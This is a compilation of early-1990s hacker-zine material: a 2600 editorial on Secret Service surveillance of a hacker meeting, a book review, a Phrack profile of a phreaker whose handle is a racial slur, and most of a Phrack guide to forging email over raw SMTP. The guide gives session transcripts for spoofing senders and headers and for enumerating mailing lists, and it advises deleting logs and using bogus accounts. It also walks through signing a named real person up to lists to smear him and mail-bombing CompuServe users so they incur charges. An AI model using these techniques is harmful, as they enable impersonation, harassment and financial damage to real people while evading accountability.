policy, it seems a tremendous waste of resources to use our Secret Service to
spy on public gatherings in shopping malls. It seems certain to be a violation
of our rights to allow them to disrupt these meetings and intimidate the
participants, albeit indirectly. Like any other governmental agency, it is
expected that the Secret Service follow the rules and not violate the
constitutional rights of citizens.
If such actions are not publicly condemned, we will in effect be granting a
license for their continuance and expansion. The incident above sounds like
something from the darkest days of the Soviet Union when human rights activists
were intimidated by government agents and their subordinates. True, these are
technology enthusiasts, not activists. But who they are is not the issue. We
cannot permit governmental abuse of any person or group simply because they may
be controversial.
Why do hackers evoke such controversy? Their mere presence is an inconvenience
to those who want so desperately to believe the emperor is wearing clothes.
Hackers have a tendency of pointing out the obvious inadequacies of the
computer systems we entrust with such a large and growing part of our lives.
Many people don't want to be told how flimsily these various systems are held
together and how so much personal data is readily available to so many.
Because hackers manage to demonstrate how simple it is to get and manipulate
this information, they are held fully responsible for the security holes
themselves.
But, contrary to most media perceptions, hackers have very little interest in
looking at other people's personal files. Ironically, they tend to value
privacy more than the rest of us because they know firsthand how vulnerable it
is. Over the years, hackers have gone to the media to expose weaknesses in our
credit reporting agencies, the grading system for New York City public schools,
military computer systems, voice mail systems, and even commonly used push
button locks that give a false sense of security. Not one of these examples
resulted in significant media attention and, consequently, adequate security
was either delayed or not implemented at all.
Conversely, whenever the government chooses to prosecute a hacker, most media
attention focuses on what the hacker "could have done" had he been malicious.
This reinforces the inaccurate depiction of hackers as the major threat to our
privacy and completely ignores the failure of the system itself.
By coming out publicly and meeting with other hackers and non-hackers in an
open atmosphere, we have dispelled many of the myths and helped foster an
environment conducive to learning. But the message we received at the Pentagon
City Mall tells us to hide, be secretive, and not trust anybody. Perhaps
that's how the Secret Service wants hackers to behave. But we are not
criminals and we refuse to act as such simply because we are perceived that way
by uninformed bureaucrats.
Regardless of our individual outlooks on the hacker issue, we should be
outraged and extremely frightened to see the Secret Service act as they did.
Whether or not we believe that hackers are decent people, we must agree that
they are entitled to the same constitutional freedoms the rest of us take for
granted. Any less is tantamount to a very dangerous and ill-advised precedent.
Emmanuel Goldstein
Editor, 2600 Magazine -- The Hacker Quarterly (516)751-2600
(NOTE: 2600 Magazine coordinates monthly hacker meetings throughout the
country.)
_______________________________________________________________________________
Two New Hardcovers November 24, 1992
~~~~~~~~~~~~~~~~~~
by Alan J. Rothman (New York Law Journal)(Page 5)
During the opening sequence of the classic English television series "The
Prisoner," the lead character known only as Number 6 (brilliantly played by
Patrick McGoohan) is abducted and taken to a secret location called "The
Village." He desperately pleads with his captors "What do you want?" Their
grim response is "Information." Through 17 thrilling episodes, his kidnappers
staged elaborate high-tech ruses to find out why he quit work as a spy.
Had this story been set in the 1990s rather than the 1960s, all The Village's
proprietors would have needed was a PC and a modem. They could have assembled
a composite of Number 6's movements by cross-referencing records from any of
the commercial data bases containing the details of nearly everyone's daily
activities. Then with a bit of ingenuity, they could have tried to steal even
more information by hacking into other restricted data systems.
No longer fiction, but common fact, the billowing growth in the computers and
telecommunications networks everywhere is generating urgent legal issues
regarding the content, usage and ownership of the data coursing through them.
Dilemmas have also surfaced concerning the responsibilities of the businesses
which gather, sift and repackage such information. Indeed, a critical juncture
has now been reached where the basic constitutional rights of privacy and
expression are colliding with the ever-expanding reach of modern technology.
Two well-crafted books have recently been published which together frame the
spectrum of relevant individual rights issues in these areas with uncanny
symmetry. Fortunately, neither degenerates into a "computers are bad"
jeremiad. Rather, they portray an appropriate balance between the virtues of
computerization and disturbing cases of technological misuse for wrongful
commercial and governmental ends.
Presenting array of new forms of electronic encroachment on personal privacy is
Jeffrey Rothfeder's alarming new book, "Privacy for Sale: How Computerization
Has Made Everyone's Private Life an Open Secret" (Simon & Schuster, 224 pages,
$22). He offers the chilling thesis that anyone can find out nearly anything
regarding anybody and there is nowhere left to hide. He convincingly states
his case in a concise and insightful exploration of the trends and abuses in
the mass processing of personal data.
The fascinating mechanics of how and where information about virtually every
aspect of our lives is gathered and then computerized are extensively
described. The most productive fonts include medical records, credit
histories, mortgage applications, subscription lists, phone records, driver's
licenses and insurance forms. Yet notwithstanding the legitimate commercial
and regulatory reasons for providing these facts, the author carefully
documents another more deeply hidden and troubling consequence of volunteering
such information: It is constantly resold, combined with other sources and
reused without your knowledge or permission for purposes entirely different
from those you first intended.
Mr. Rothfeder alleges the most perilous result of these activities is the
growing and highly organized sales, integration and cross-matching of
databases. Businesses and government entities now have sophisticated software
to generate complex demographic profiles about individuals, populations and
geographic areas. In turn, these computer-generated syntheses are increasingly
used for invasive and discriminatory purposes.
Numerous examples of such misuse are cited, ranging from slightly annoying to
purely horrifying. The astonishing breadth of this roster includes the sale of
driver's license information with height weight specifications to clothes
marketers for tall men and thin women, purchases of credit histories and
workmen's compensation claims reports by prospective employers who believe this
material is indicative of a job applicant's character, and the creation of
"propensity files" by federal agencies to identify people who have not
committed any offense but might likely be criminals.
Two additional problems pervade the trafficking of intimate information.
First, there is little or no federal legislation to effectively protect people
from certain problems presented in the book. For example, the release of
medical records thought to be "confidential" is virtually unprotected.
Second, it can be extremely difficult to have false entries corrected before
they have a ripple effect on your other data. Beyond the common tales of
frustration at clearing up a faulty credit report, Mr. Rothfeder relates the
case of a man denied any health insurance because his medical records contained
an erroneous report he was HIV positive.
JOURNEY IN CYBERSPACE
Turning to a much more accurate account, author Bruce Sterling takes readers
into the ethereal realm of "cyberspace" where computers, networks, and
electronic bulletin boards systems (BBS) are linked together by phone. In his
first non-fiction work, "The Hacker Crackdown: Law and Disorder on the
Electronic Frontier" (Bantam, 328 pages, $23), he chronicles the U.S.
government's highly visible efforts in 1990 to prosecute "hackers" it suspected
of committing crimes by PC and modem. However, Mr. Sterling distinguishes this
term as being more about active computer enthusiasts, most of whom have never
committed any wrongdoing. The writer's other credits include some highly
regarded "cyberpunk" science fiction, where computer technology is central to
the plots and characters.
The "crackdown" detailed by the author began with the crash of AT&T's long-
distance phone system on January 15, 1990. Although it has never been proven
that hackers were responsible, this event served as the final catalyst to spur
federal law enforcement agencies into concerted action against a suspected
underground of computer criminals. A variety of counter-operations were
executed. Most notable was Operation Sundevil the following May when agents
around the country seized 42 computer systems, 23,000 diskettes, and halted 25
BBS's where the government believed hackers were exchanging tips of the trade.
Some of the government's resulting prosecutions through their nationwide
efforts were moderately successful. However, the book's dramatic centerpiece is
the trial of Craig Neidorf (a.k.a. Knight Lightning). Mr. Neidorf was a
contributor to Phrack, an electronic magazine catering to hackers, available on
various BBS's.
In January 1989, another hacker named "Prophet" transmitted a document he
pilfered from BellSouth's computers regarding the 911 emergency system to
Neidorf. Together they edited the text, which Neidorf then published in
Phrack. In July 1990, he was placed on trial for federal charges of entering a
fraudulent scheme with Prophet to steal this document. The government alleged
it was worth $79,499 and that its publication threatened emergency operations.
To the prosecutor's dismay, the case was dropped when the defense proved the
same material was publicly available for only $13.
With insight and style, Mr. Sterling uses this and other events to cast
intriguing new spins on applicable civil liberties issues.
Are the constitutional guarantees of freedom of expression and assembly fully
extended to BBS dialogs and gatherings? What degree of privacy can be expected
for personal data on systems which may be subject to surreptitious entry? Are
hackers really breaking any laws when merely exploring new systems? Is posting
a message or document on a BBS considered a "publication"? Should all BBS's be
monitored just because of their potential for illegal activity? What are the
responsibilities of BBS operators for the contents of, and access to, their
systems?
The efforts of Mitchell Kapor, the co-developer of Lotus 123 and now chairman
of ONtechnology, are depicted as a direct response to such issues raised by the
crackdown. Mr. Kapor assembled a prominent group of fellow computer
professionals to establish the Electronic Frontier Foundation (EFF), dedicated
to education and lobbying for free speech and expression in electronic media.
As well, EFF has provided support to Craig Neidorf and others they consider
wrongly charged with computer crime.
Weighty legal matters aside, the author also embellishes his story with some
colorful hacker lore. These denizens of cyberspace are mostly young men in
their late teens or early twenties, often fueled by junk food and propelled by
macho. Perhaps their most amusing trait is the monikers they adopt --
Bloodaxe, Shadowhawk, and of course, Phiber Optik.
Someone else, a non-hacker involuntary given the pseudonym "Number 6," knew his
every act was continually being monitored and recorded against his will. As a
manifestation of resistance to this relentless surveillance, he often bid
farewell to other citizens of the Village with a sarcastic "Be seeing you."
Today, the offerings of authors Rothfeder and Sterling provide a resounding
"And you" as a form of rejoinder (often uttered by The Village's citizens as
well), to publicize the ironic diversity threats wrought by information
technology.
Number 6 cleverly managed to escape his fictional captivity in The Village
during the final (and mind-boggling) episode of The Prisoner. However, based
on the compelling evidence presented in these two books, the protection of
individual rights in the reality of today's evolving "global village" of
computer networks and telecommunications may not be so neatly resolved.
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 3 of 13
==Phrack Pro-Phile==
Created by Taran King (1986)
_______________________________________________________________________________
Welcome to Phrack Pro-Phile. Phrack Pro-Phile is created to bring info to
you, the users, about old or highly important/controversial people. This
month, we bring to you certainly one of the most controversial people (and
handles) to ever emerge in the computer underground...
Supernigger
~~~~~~~~~~~
_______________________________________________________________________________
Personal
~~~~~~~~
Handle: Supernigger
Call him: SN
Date of Birth: Years ago
Age: Getting along in the years.
Height: Medium
Weight: Medium
Computers owned: Commodore Vic-20, C64, Amiga, 386 Compatible
How did this handle originate? Back in 1985, I had blueboxed to a bridge.
Someone on there, for some reason, decided that he didn't like me, and shouted,
"Get off, nigger!" He then proceeded to knock me off with a 2600 Hz tone. I
immediately called back with something "un-2600 hz-able" and, when he shouted,
"Get off nigger!" and blew 2600 hz, I then said, "I'm SUPERnigger, you can't
knock me off, I've got the POWER!!" Fun, eh?
How I Got Started
~~~~~~~~~~~~~~~~~
Back in '82 or '83, I got a wonderful computer called a Commodore Vic-20.
With that, I wrote a few irrelevant programs and played "Gorf!" a lot. Then, a
friend suggested that I get a Commodore C-64 and disk drive for all the RAD
WhErEz! it had.
Needless to say, I was not disappointed. Then a friend showed me a
5-digit number you could put in after calling an access number, and it would
put a call through for you! Imagine that! This, I thought, was the key to
UNLIMITED WARES!
Then, the new ware scene became tiresome and boring REAL quick. I had
them all. New ones. Old ones. Middle-aged ones. I had wares coming out of
my ass. Just when I was about to drop out of the scene, I saw a number posted
on a board for InterCHAT (201), a multi-line chat system.
That's where the cavalcade of fun and interesting endeavors began. That's
where I met Sharp Remob, Lord_foul (DP), Dark Wanderer and other members of
DPAK.
Speaking of DPAK, the group was created when we found a glitch in the MCI
access # that allowed any 14-digit code to work. We then made up the joke,
"Today at 2:00 PM, DPAK Agents cornered an MCI official and said, 'You WILL
give these people free calls!'" and proceeded to tell people about the glitch
("DPAK" came from Mad Hacker 312, who, when asked about obtaining non-published
numbers, said, "Oh, you'd have to be a DPAK Agent to get that.").
After that, DPAK was tracing people before Caller ID came out, finding and
creating bridges, setting up an 800 # for InterCHAT (actually 2 if you were
quick enough to catch the second one), putting out Sharp Remob's Social
Engineering file, and other things that I had better not mention (I would go
on, but I think I might frighten you.).
I would have to say that I feel negatively toward "elite posers," people
who claim to know things with the sole purpose of trying to seem "cool." These
are the people you see boasting about how long they have been around (which is
irrelevant), spurting out random acronyms when they have no idea how they are
actually used, and trying to make something complicated and mysterious out of
something mundane and simple. For example: "Hey dude, watch out, I may be
listening in on your line right now with a DAMT," or "Oh, I'll just use the DRT
trunk multiplexor to do a Random Interphase-seizure of the tandemized trunk."
(Barf!)
Also, I think this government crackdown really sucks. What sucks is the
fact that the government is going after big NAMES instead of big -CRIMES-.
Rather than stopping crimes, they just want to "show who's boss." A lot of
innocent lives are being ruined. In fact, after this issue of Phrack comes
out, I plan to lay VERY low because they will probably want to get me now that
my handle was in a phreak/hack publication.
Interests
~~~~~~~~~
Women: Fast
Cars: Fast (VWs)
Food: Fast
Music: All kinds (Rap, Rock, Metal, you name it)
Favorite performers: 2 Live Crew
Favorite author: Lord Digital (the father of ELITE!ness)
Favorite Book: Nat!onal Enl!ghtener
Most Memorable Experiences
~~~~~~~~~~~~~~~~~~~~~~~~~~
"It works! It works!!" -- when the 800 # for InterCHAT actually worked.
If you called it, you remember. That took a lot of work...
Also, at one point in time, every chat system in New Jersey was forwarded
to InterCHAT.. That was truly hilarious. I strongly suggest, at this point,
that everyone refrain from attempting these things. The consequences are a bit
more serious now. But if you must, be VERY very careful.
...And, I would like to take this opportunity to clear up the "Free World
II Incident" and other vague and unclear statements chronicled in Phrack 28.
First of all, I -DID NOT- crash Black Ice BBS. In fact, some hick from Texas
already stated to me that he wrote my name on the BBS when it was crashed. The
same hick tends to lie and spread rumors a lot, so I don't actually know if it
was him that wrote my name. Suffice to say that I didn't crash it.
Secondly, and most important, Free World II BBS was forwarded to InterCHAT
because Major Havoc was a complete and total ASSHOLE.
I called his system and applied for access. When I tried to get back on,
I found that my application had been deleted without so much as a notification,
so I thought that the BBS hadn't saved it correctly and applied again. I found
the BBS hadn't saved it correctly a second time, and when I tried to fill out
the application once more, Major Havoc broke in and typed things like "Get the
fuck off here" and "Hang the fuck up." I typed "Fine, have it your way" and
proceeded to forward his BBS # to InterCHAT. You can't just treat people like
that and expect nothing to happen.
The opening message on InterCHAT said: "Until Major Havoc learns the
meaning of the word TACT (dealing with people in a non-offensive manner), his
BBS has been put to better use."
(I had called the BBS in the first place to try to clear up wild rumors
that The Blade had said were being tossed about on there).
I hope this has cleared things up.
Some People To Mention
~~~~~~~~~~~~~~~~~~~~~~
Sharp Remob : He showed me the wonders of Social Engineering. He is
making the big dollars now.
Lord_foul : I never realized how many people he was in contact with.
Some pretty heavy hitters. He never let on how much he
knew.
Applehead : The best DJ in the phreak/hack world. Truly, in mixing
records, no one is his equal. Seems to be able to
mesmerize phone company employees into doing his bidding as
well. Could these two things be related?
Meat Puppet : "Money for nuthin, EVERYTHING for free." Why anyone would
want 800 watts in their car I will never know.
Lung C00kiez : He had the best conference ideas, like Want-Ad Fun and
Operator Frenzy.
*DETH*-2-*J00Z* : So much for political correctness. First person I know to
theorize how to trace people before Caller ID came out.
Dark Wanderer : Works for Sun Microsystems now. One of the few hackers I
know that has a technical computer-oriented career.
Krak Dealer : Takes consciousness-altering to the level of an art form.
Squashed Pumpkin : The enforcer.
DeeDee : The only cool bridge chick.
Dr. Mike : Cool guy when he's not threatening his girlfriend with a
knife.
Gatsby : Gets the award for quick learner.
orpheus : One of the true devotees of InterCHAT, and one of the few
people I know who is actually interested in HP-3000.
The whole InterCHAT crowd... Made modeming fun.
I should also mention a group of NYC individuals at this time. I would
mention their names, but certain legal situations preclude that. They showed
me what someone can REALLY do with an in-depth understanding of many systems.
Suffice to say that they are the creme de la creme, probably the only
group up to par with DPAK.
Oh, and I cannot, I MUST NOT forget to mention The Blade, who is truly a
legend in his own mind.
The Future
~~~~~~~~~~
I see the future for hacking/phreaking as pretty bleak. Big Brother is
watching. System Administrators are finally realizing that it is better to
make your system impenetrable than to prosecute kids (I wish the government
would realize this). If you combine these two things, there is not much to
look forward to.
In Closing...
~~~~~~~~~~~~~
As for the standard Pro-Phile question (are most of the phreaks and
hackers that I've met computer geeks?), I have not met any phreakers or
hackers, so I can't say if they are geeks or not. From phone conversations,
some seem like geeks, some don't.
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 4 of 13
Network Miscellany
*******************************************************
< The POWER of Electronic Mail >
*******************************************************
Compiled from Internet Sources
by The Racketeer
of The Hellfire Club
Network Miscellany created by Taran King
First of all, this guide is more than using fakemail. It literally
explains the interfaces used with SMTP in detail enough that you should gain a
stronger awareness of what is going on across the multitude of networks which
make up the worldwide e-mail connections. It also contains my usual crude
remarks and grim hacker humor (assuming it hasn't again been edited out, but
I'm somewhat proud of the fact that Phrack heavily edited my "language" in last
issue's article. Oh well.).
There are two objectives in this file: first, I will attempt to show that
by using fakemail and SMTP, you can cause an amazing number of useful, hacker
related stunts; second, I shall attempt to be the first hacker to ever send a
piece of electronic mail completely around the world, ushering in a new age of
computerdom!
I suggest that, unless you don't want everyone lynching you, don't try to
fuck up anything that can't be repaired offhand. I've experimented with
fakemail beyond this article and the results were both impressive and
disastrous. Therefore, let's examine risks first, and then go onto the good
stuff. Basic philosophy -- use your brain if you've got one.
RISKS:
Getting caught doing this can be labeled as computer vandalism; it may
violate trespassing laws; it probably violates hundreds of NFS, Bitnet and
private company guidelines and ethics policies; and finally, it will no doubt
piss someone off to the point of intended revenge.
Networks have fairly good tracing abilities. If you are logged, your host
may be disconnected due to disciplinary referral by network authorities (I
don't think this has happened yet). Your account will almost definitely be
taken away, and if you are a member of the source or target computer's
company/organization, you can expect to face some sort of political shit that
could result in suspension, expulsion, firing, or otherwise getting the short
end of the stick for awhile.
Finally, if the government catches you attempting to vandalize another
computer system, you will probably get some sort of heavy fine, community
service, or both.
Odds of any of this happening if you are smart: < 1%.
PRECAUTIONS SUGGESTED:
If you have a bogus computer account (standard issue hacker necessity)
then for crissake use that. Don't let "them" know who really is hacking
around. (Point of clarification, I refer to "them" an awful lot in RL and in
philes. "They" are the boneheadded "do-gooders" who try to blame their own
lack of productivity or creativity on your committing of pseudo-crimes with a
computer. FBI, SS, administrators, accountants, SPA "Don't Copy that Floppy"
fucks, religious quacks, stupid rednecks, right wing conservative Republican
activists, pigs, NSA, politicians who still THINK they can control us, city
officials, judges, lame jurors that think a "hacker" only gets
slap-in-the-wrist punishments, lobbyists who want to blame their own failed
software on kids, bankers, investors, and probably every last appalled person
in Stifino's Italian Restaurant when the Colorado 2600 meeting was held there
last month. Enough of the paranoid Illuminati shit, back to the phile.)
Make sure that you delete history files, logs, etc. if you have
access to them. Try using computers that don't keep logs. Check /usr/adm,
/etc/logs to see what logs are kept.
If you can avoid using your local host (since you value network
connections in general), do so. It can avert suspicion that your host contains
"hackers."
IF YOU EVER ARE CONFRONTED:
"They must have broken into that account from some other site!"
"Hackers? Around here? I never check 'who' when I log in."
"They could have been super-user -- keep an eye out to see if the scum
comes back."
"Come on, they are probably making a big deal out of nothing. What could
be in e-mail that would be so bad?"
"Just delete the account and the culprit will be in your office tomorrow
morning." (Of course, you used a bogus account.)
PART ONE: ELECTRONIC MAIL
Basically, electronic mail has become the new medium of choice for
delivering thoughts in a hurry. It is faster than the post office, cheaper
than the post office, doesn't take vacations all the time like the post office,
and is completely free so it doesn't have unions.
Of course, you know all that and would rather spend this time making damn
sure you know what SMTP is.
To my knowledge, a completely accurate SMTP set of protocols hasn't been
published in any hacker journal. The original (at least, the first I've seen)
was published in the Legion of Doom Technical Journals and covered the minimum
SMTP steps necessary for the program "sendmail," found in a typical Unix
software package.
When you connect a raw socket to a remote SMTP compatible host, your
computer is expected to give a set of commands which will result in having the
sender, receiver, and message being transferred. However, unlike people who
prefer the speed of compression and security of raw integer data, the folks at
DARPA decided that SMTP would be pretty close to English.
If you are on the Internet, and you wanted to connect to the SMTP server,
type:
telnet <hostname> 25
Port 25 is the standard port for SMTP. I doubt it would be too cool to
change this, since many mail servers connect to the target hosts directly.
[Editor's Note: All mail and SMTP commands have been offset by a ">" at the
beginning of each line in order not to confuse Internet mailers when sending
this article through e-mail.]
When you connect, you will get a small hostname identifier for whatever
SMTP server revision you've got.
220 huggies.colorado.edu Sendmail 2.2/2.5 8/01/88 ready at Tue, 25 Aug 91
03:14:55 edt
Now that you are connected, the computer is waiting for commands. First
of all, you are expected to explain which computer you are calling in from.
This is done with the HELO <host> command. This can be anything at all, but if
you fail to give the exact host that you are connecting from, it causes the
following line to appear on the e-mail message the recipient gets from you:
> Apparently-to: The Racketeer <rack@lycaeum.hfc.com>
Instead of the classic:
> To: The Racketeer <rack@lycaeum.hfc.com>
This is the secret to great fakemail -- the ability to avoid the
"apparently-to" flag. Although it is subtle, it is a pain to avoid. In fact,
in some places, there are so many "protections" to SMTP that every outside
e-mail is marked with "Apparently-to." Hey, their problem.
So, go ahead and type the HELO command:
> HELO LYCAEUM.HFC.COM
The computer replies:
250 huggies.colorado.edu Hello LYCAEUM.HFC.COM, pleased to meet you
Oh, a warm reception. Older sendmail software explains with the HELP
command that the computer doesn't care about HELO commands. You can check it
upon login with the command "HELP HELO."
Now what you will need to do is tell the computer who is supposed to get
the letter. From this point, there are all sorts of possibilities. First of
all, the format for the recipient would be:
> RCPT TO: <name@host>
And *NOTE*, the "<" and ">" symbols should be present! Some computers,
especially sticklers like Prime, won't even accept the letters unless they
adhere specifically to the protocol! Now, if you give a local address name,
such as:
> RCPT TO: <smith>
...then it will treat the mail as if it were sent locally, even though it
was sent through the Internet. Giving a computer its own host name is valid,
although there is a chance that it will claim that the machine you are calling
from had something to do with it.
> RCPT TO: <smith@thishost>
...will check to see if there is a "smith" at this particular computer. If
the computer finds "smith," then it will tell you there is no problem. If you
decide to use this computer as a forwarding host (between two other points),
you can type:
> RCPT TO: <smith@someotherhost>
This will cause the mail to be forwarded to someotherhost's SMTP port and
the letter will no longer be a problem for you. I'll be using this trick to
send my letter around the world.
Now, after you have given the name of the person who is to receive the
letter, you have to tell the computer who is sending it.
> MAIL FROM: <rack@lycaeum.hfc.com> ; Really from
> MAIL FROM: <rack> ; Localhost
> MAIL FROM: <rack@osi.mil> ; Fake -- "3rd party host"
> MAIL FROM: <lycaeum.hfc.com|rack> ; UUCP Path
Essentially, if you claim the letter is from a "3rd party," then the other
machine will accept it due to UUCP style routing. This will be explained later
on.
The next step is actually entering the e-mail message. The first few
lines of each message consists of the message title, X-Messages, headers,
Forwarding Lines, etc. These are completely up to the individual mail program,
but a few simple standards will be printed later, but first let's run through
the step-by-step way to send fakemail. You type anything that isn't preceded
by a number.
220 hal.gnu.ai.mit.edu Sendmail AIX 3.2/UCB 5.64/4.0 ready at Tue, 21 Jul 1992
22:15:03 -0400
> helo lycaeum.hfc.com
250 hal.gnu.ai.mit.edu Hello lycaeum.hfc.com, pleased to meet you
> mail from: <rack@lycaeum.hfc.com>
250 <rack@lycaeum.hfc.com>... Sender ok
> rcpt to: <phrack@gnu.ai.mit.edu>
250 <phrack@gnu.ai.mit.edu>... Recipient ok
> data
354 Enter mail, end with "." on a line by itself
> Yo, C.D. -- mind letting me use this account?
> .
250 Ok
> quit
Now, here are a few more advanced ways of using sendmail. First of all,
there is the VRFY command. You can use this for two basic things: checking up
on a single user or checking up on a list of users. Anyone with basic
knowledge of ANY of the major computer networks knows that there are mailing
lists which allow several people to share mail. You can use the VRFY command
to view every member on the entire list.
> vrfy phrack
250 Phrack Classic <phrack>
Or, to see everyone on a mailing list:
> vrfy phrack-staff-list
250 Knight Lightning <kl@stormking.com>
250 Dispater <dispater@stormking.com>
Note - this isn't the same thing as a LISTSERV -- like the one that
distributes Phrack. LISTSERVs themselves are quite powerful tools because they
allow people to sign on and off of lists without human moderation. Alias lists
are a serious problem to moderate effectively.
This can be useful to just check to see if an account exists. It can be
helpful if you suspect a machine has a hacked finger daemon or something to
hide the user's identity. Getting a list of users from mailing lists doesn't
have a great deal of uses, but if you are trying very hard to learn someone's
real identity, and you suspect they are signed up to a list, just check for all
users from that particular host site and see if there are any matches.
Finally, there is one last section to e-mail -- the actual message itself.
In fact, this is the most important area to concentrate on in order to avoid
the infamous "Apparently-to:" line. Basically, the data consists of a few
lines of title information and then the actual message follows.
There is a set of guidelines you must follow in order for the quotes to
appear in correct order. You won't want to have a space separate your titles
from your name, for example. Here is an example of a real e-mail message:
> From: rack@lycaeum.hfc.com
> Received: by dockmaster.ncsc.mil (5.12/3.7) id AA10000; Thu, 6 Feb 92
> 12:00:00
> Message-Id: <666.AA10000@dockmaster.ncsc.mil>
> To: RMorris@dockmaster.ncsc.mil
> Date: Thu, 06 Feb 92 12:00:00
> Title: *wave* Hello, No Such Agency dude!
>
> NIST sucks. Say "hi" to your kid for me from all of us at Phrack!
Likewise, if you try to create a message without an information line, your
message would look something like this:
> From: rack@lycaeum.hfc.com
> Received: by dockmaster.ncsc.mil (5.12/3.7) id AA10000; Thu, 6 Feb 92
> 12:00:00 -0500
> Message-Id: <666.AA10000@dockmaster.ncsc.mil>
> Date: Thu, 06 Feb 92 12:00:00
> Apparently-to: RMorris@dockmaster.ncsc.mil
> NIST sucks. Say "hi" to your kid for me from all of us at Phrack!
Basically, this looks pretty obvious that it's fakemail, not because I
altered the numbers necessarily, but because it doesn't have a title line, it
doesn't have the "Date:" in the right place, and because the "Apparently-to:"
designation was on.
To create the "realistic" e-mail, you would enter:
> helo lycaeum.hfc.com
> mail from: <rack@lycaeum.hfc.com>
> rcpt to: <RMorris@docmaster.ncsc.mil>
> data
> To: RMorris@dockmaster.ncsc.mil>
> Date: Thu, 06 Feb 92 12:00:00
> Title: *wave* Hello, No Such Agency dude!
>
> NIST sucks. Say "hi" to your kid for me from all of us at Phrack!
> .
Notice that, even though you are in "data" mode, you are still giving
commands to sendmail. All of the lines can (even if only partially) be altered
through the data command. This is perfect for sending good fakemail. For
example:
> helo lycaeum.hfc.com
> mail from: <dale@opus.tymnet.com>
> rcpt to: <listserv@brownvm.brown.edu>
> data
> Received: by lycaeum.hfc.com (5.12/3.7) id AA11891; Thu 6 Feb 92 12:00:00
> Message-Id: <230.AA11891@lycaeum.hfc.com>
> To: <listserv@brownvm.brown.edu>
> Date: Thu, 06 Feb 92 12:00:00
> Title: Ohh, sign me up Puuuleeeze.
>
> subscribe BISEXU-L Dale "Fist Me" Drew
> .
Now, according to this e-mail path, you are telling the other computer
that you received this letter from OPUS.TYMNET.COM, and it is being forwarded
by your machine to BROWNVM.BROWN.EDU. Basically, you are stepping into the
middle of the line and claiming you've been waiting there all this time. This
is a legit method of sending e-mail!
Originally, when sendmail was less automated, you had to list every
computer that your mail had to move between in order for it to arrive. If you
were computer ALPHA, you'd have to send e-mail to account "joe" on computer
GAMMA by this address:
> mail to: <beta!ceti!delta!epsilon!freddy!gamma!joe>
Notice that the account name goes last and the host names "lead" up to
that account. The e-mail will be routed directly to each machine until it
finally reaches GAMMA. This is still required today, especially between
networks like Internet and Bitnet -- where certain hosts are capable of sending
mail between networks. This particular style of sending e-mail is called "UUCP
Style" routing.
Sometimes, hosts will use the forwarding UUCP style mail addresses in case
the host has no concept of how to deal with a name address. Your machine
simply routes the e-mail to a second host which is capable of resolving the
rest of the name. Although these machines are going out of style, they still
exist.
The third reasonable case of where e-mail will be routed between hosts is
when, instead of having each computer waste individual time dealing with each
piece of e-mail that comes about, the computer gives the mail to a dedicated
mailserver which will then deliver the mail. This is quite common all over the
network -- especially due to the fact that the Internet is only a few T1 lines
in comparison to the multitude of 9600 and 14.4K baud modems that everyone is
so protective of people over-using. Of course, this doesn't cause the address
to be in UUCP format, but when it reaches the other end of the network, it'll
be impossible to tell what method the letter used to get sent.
Okay, now we can send fairly reasonable electronic fakemail. This stuff
can't easily be distinguished between regular e-mail unless you either really
botched it up (say, sending fakemail between two people on the same machine by
way of 4 national hosts or something) or really had bad timing.
Let's now discuss the POWER of fakemail. Fakemail itself is basically a
great way to fool people into thinking you are someone else. You could try to
social engineer information out of people on a machine by fakemail, but at the
same time, why not just hack the root password and use "root" to do it? This
way you can get the reply to the mail as well. It doesn't seem reasonable to
social engineer anything while you are root either. Who knows. Maybe a really
great opportunity will pop up some day -- but until then, let's forget about
dealing person-to-person with fakemail, and instead deal with
person-to-machine.
There are many places on the Internet that respond to received electronic
mail automatically. You have all of the Archie sites that will respond, all of
the Internet/Bitnet LISTSERVs, and Bitmail FTP servers. Actually, there are
several other servers, too, such as the diplomacy adjudicator. Unfortunately,
this isn't anywhere nearly as annoying as what you can do with other servers.
First, let's cover LISTSERVs. As you saw above, I created a fakemail
message that would sign up Mr. Dale Drew to the BISEXU-L LISTSERV. This means
that any of the "netnews" regarding bisexual behavior on the Internet would be
sent directly to his mailbox. He would be on this list (which is public and
accessible by anyone) and likewise be assumed to be a member of the network
bisexual community.
This fakemail message would go all the way to the LISTSERV, it would
register Mr. Dictator for the BISEXU-L list, >DISCARD< my message, and, because
it thinks that Dale Drew sent the message, it will go ahead and sign him up to
receive all the bisexual information on the network.
And people wonder why I don't even give out my e-mail address.
The complete list of all groups on the Internet is available in the file
"list_of_lists" which is available almost everywhere so poke around
wuarchive.wustl.edu or ftp.uu.net until you find it. You'll notice that there
are several groups that are quite fanatic and would freak out nearly anybody
who was suddenly signed up to one.
Ever notice how big mega-companies like IBM squelch little people who try
to make copies of their ideas? Even though you cannot "patent" an "idea,"
folks like IBM want you to believe they can. They send their "brute" squad of
cheap lawyers to "legal-fee-to-death" small firms. If you wanted to
"nickel-and-dime" someone out of existence, try considering the following:
CompuServe is now taking electronic mail from the Internet. This is good.
CompuServe charges for wasting too much of their drive space with stored
e-mail. This is bad. You can really freak out someone you don't like on
CompuServe by signing them up to the Dungeons and Dragons list, complete with
several megabytes of fluff per day. This is cool. They will then get charged
hefty fines by CompuServe. That is fucked up. How the hell could they know?
CompuServe e-mail addresses are userid@compuserve.com, but as the Internet
users realize, they can't send commas (",") as e-mail paths. Therefore, use a
period in place of every comma. If your e-mail address was 767,04821 on
CompuServe then it would be 767.04821 for the Internet. CompuServe tends to
"chop" most of the message headers that Internet creates out of the mail before
it reaches the end user. This makes them particularly vulnerable to fakemail.
You'll have to check with your individual pay services, but I believe such
groups as MCI Mail also have time limitations. Your typical non-Internet-
knowing schmuck would never figure out how to sign off of some God-awful fluff
contained LISTSERV such as the Advanced Dungeons & Dragons list. The amount of
damage you could cause in monetary value alone to an account would be
horrendous.
Some groups charge for connection time to the Internet -- admittedly, the
fees are reasonable -- I've seen the price at about $2 per hour for
communications. However, late at night, you could cause massive e-mail traffic
on some poor sap's line that they might not catch. They don't have a way to
shut this off, so they are basically screwed. Be WARY, though -- this sabotage
could land you in deep shit. It isn't actually fraud, but it could be
considered "unauthorized usage of equipment" and could get you a serious fine.
However, if you are good enough, you won't get caught and the poor fucks will
have to pay the fees themselves!
Now let's investigate short-term VOLUME damage to an e-mail address.
There are several anonymous FTP sites that exist out there with a service known
as BIT FTP. This means that a user from Bitnet, or one who just has e-mail and
no other network services, can still download files off of an FTP site. The
"help" file on this is stored in Appendix C, regarding the usage of Digital's
